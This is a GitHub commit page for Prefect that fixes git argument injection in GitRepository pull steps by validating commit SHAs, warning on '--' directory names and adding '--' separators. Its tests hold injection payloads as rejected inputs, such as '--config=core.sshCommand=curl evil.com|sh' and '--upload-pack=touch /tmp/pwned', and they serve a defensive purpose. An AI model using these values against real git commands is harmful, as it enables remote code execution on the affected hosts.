

Commit 6a9d991



devin-ai-integration[bot] and desertaxle authored on Apr 2 · ✓ 94 / 99 · Verified



Fix git argument injection in GitRepository pull steps (#21384)

Co-authored-by: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>

Co-authored-by: Alexander Streed <alex.s@prefect.io>

Co-authored-by: alex.s <ajstreed1@gmail.com>

main (#21384) · prefect-redis-0.2.11 ··· 3.6.25.dev7

1 parent 21b2838 commit 6a9d991

2 files changed

+88 -4

↑ Top ⚙️

Filter files...

src/prefect/runner

storage.py

tests/runner

test_storage.py

Search within code ⚙️

src/prefect/runner/storage.py



@@ -1,7 +1,9 @@

1 from __future__ import annotations

2

3 + import re

3 import shutil

4 import subprocess

6 + import warnings

```
5 7 from copy import deepcopy
```

```
6 8 from pathlib import Path
```

```
7 9 from typing import (
```



```
@@ -176,6 +178,26 @@ def __init__(
```

```
176 178         "Cannot provide both a branch and a commit SHA. Please provide  
only one."
```

```
177 179     )
```

```
178 180
```

```
181 +     if commit_sha and not re.match(r"^[0-9a-fA-F]{4,64}$", commit_sha):
```

```
182 +         raise ValueError(
```

```
183 +             f"Invalid commit SHA: {commit_sha!r}."
```

```
184 +             " Expected a hexadecimal Git commit SHA (4-64 characters)."
```

```
185 +             " If you are trying to specify a branch or tag name,"
```

```
186 +             " use the 'branch' parameter instead."
```

```
187 +         )
```

```
188 +
```

```
189 +     if directories:
```

```
190 +         for d in directories:
```

```
191 +             if d.startswith("--"):
```

```
192 +                 warnings.warn(
```

```
193 +                     f"Directory {d!r} starts with '--' and will be"
```

```
194 +                     " interpreted as a path by git sparse-checkout."
```

```
195 +                     " If this is not intentional, remove it from the"
```

```
196 +                     " directories list.",
```

```
197 +                     UserWarning,
```

```
198 +                     stacklevel=2,
```

```
199 +                 )
```

```
200 +
```

```
179 201         self._url = url
```

```
180 202         self._branch = branch
```

```
181 203         self._commit_sha = commit_sha
```



```
@@ -357,7 +379,7 @@ async def pull_code(self) -> None:
```

```
357 379         # Sparsely checkout the repository if directories are specified and  
the repo is not in sparse-checkout mode already
```

```
358 380         if self._directories and not await self.is_sparsely_checked_out():
```

```
359 381             await run_process(
```

```
360 -                 ["git", "sparse-checkout", "set", *self._directories],
```

```

382 +         ["git", "sparse-checkout", "set", "--",
      *self._directories],
361 383         cwd=self.destination,
362 384     )
363 385
⋮
↑
@@ -486,7 +508,7 @@ async def _clone_repo(self):
486 508     if self._directories:
487 509         self._logger.debug("Will add %s", self._directories)
488 510         await run_process(
489 -         ["git", "sparse-checkout", "set", *self._directories],
511 +         ["git", "sparse-checkout", "set", "--", *self._directories],
490 512         cwd=self.destination,
491 513     )
492 514
⋮

```

tests/runner/test_storage.py

```

↑
@@ -198,6 +198,68 @@ def test_init_with_username_no_token(self):
198 198         credentials={"username": "oauth2"},
199 199     )
200 200
201 +     @pytest.mark.parametrize(
202 +         "invalid_sha",
203 +         [
204 +             "--upload-pack=touch /tmp/pwned",
205 +             "--config=core.sshCommand=curl evil.com|sh",
206 +             "-c core.sshCommand=evil",
207 +             "not-a-hex-string",
208 +             "ghijkl",
209 +             "abc", # too short (< 4 chars)
210 +             "a" * 65, # too long (exceeds SHA-256 length)
211 +         ],
212 +     )
213 +     def test_init_rejects_invalid_commit_sha(self, invalid_sha: str):
214 +         with pytest.raises(ValueError, match="use the 'branch' parameter
215 +             instead"):
216 +             GitRepository(
217 +                 url="https://github.com/org/repo.git",

```

```
218 +         )
219 +
220 +     @pytest.mark.parametrize(
221 +         "valid_sha",
222 +         [
223 +             "abcd", # 4-char short SHA
224 +             "1234567",
225 +             "1234567890",
226 +             "abcdef1234567890abcdef1234567890abcdef12", # SHA-1 (40 chars)
227 +             "ABCDEF1234567890ABCDEF1234567890ABCDEF12",
228 +             "aAbBcCdD1234567890",
229 +             "a" * 64, # SHA-256 (64 chars)
230 +         ],
231 +     )
232 +     def test_init_accepts_valid_commit_sha(self, valid_sha: str):
233 +         repo = GitRepository(
234 +             url="https://github.com/org/repo.git",
235 +             commit_sha=valid_sha,
236 +         )
237 +         assert repo._commit_sha == valid_sha
238 +
239 +     @pytest.mark.parametrize(
240 +         "suspicious_dir",
241 +         [
242 +             "--config=core.sshCommand=curl http://evil.com|sh",
243 +             "--upload-pack=evil",
244 +         ],
245 +     )
246 +     def test_init_warns_on_directories_starting_with_double_dash(
247 +         self, suspicious_dir: str
248 +     ):
249 +         with pytest.warns(UserWarning, match="starts with '--"):
250 +             repo = GitRepository(
251 +                 url="https://github.com/org/repo.git",
252 +                 directories=[suspicious_dir],
253 +             )
254 +             assert repo._directories == [suspicious_dir]
255 +
256 +     def test_init_accepts_valid_directories(self):
257 +         repo = GitRepository(
```

```

258 +         url="https://github.com/org/repo.git",
259 +         directories=["src", "tests", "-flag-like-dir", "path/to/dir"],
260 +     )
261 +     assert repo._directories == ["src", "tests", "-flag-like-dir",
262 +                                "path/to/dir"]

201 263     def test_init_with_name(self):
202 264         repo = GitRepository(url="https://github.com/org/repo.git",
203 265                             name="custom-name")
203 265         assert repo._name == "custom-name"

@@ -315,7 +377,7 @@ async def test_clone_repo_sparse(self, mock_run_process:
AsyncMock, monkeypatch)

315 377         ]
316 378         ),
317 379         call(
318 -         ["git", "sparse-checkout", "set", "dir_1", "dir_2"],
380 +         ["git", "sparse-checkout", "set", "--", "dir_1", "dir_2"],
319 381         cwd=Path.cwd() / "repo",
320 382         ),
321 383     ]

@@ -349,7 +411,7 @@ async def test_clone_existing_repo_sparse(

349 411         cwd=Path.cwd() / "repo",
350 412         ),
351 413         call(
352 -         ["git", "sparse-checkout", "set", "dir_1", "dir_2"],
414 +         ["git", "sparse-checkout", "set", "--", "dir_1", "dir_2"],
353 415         cwd=Path.cwd() / "repo",
354 416         ),
355 417         call(["git", "pull", "origin", "--depth", "1"], cwd=Path.cwd() /
"repo"),

```

Comments 0



Please [sign in](#) to comment.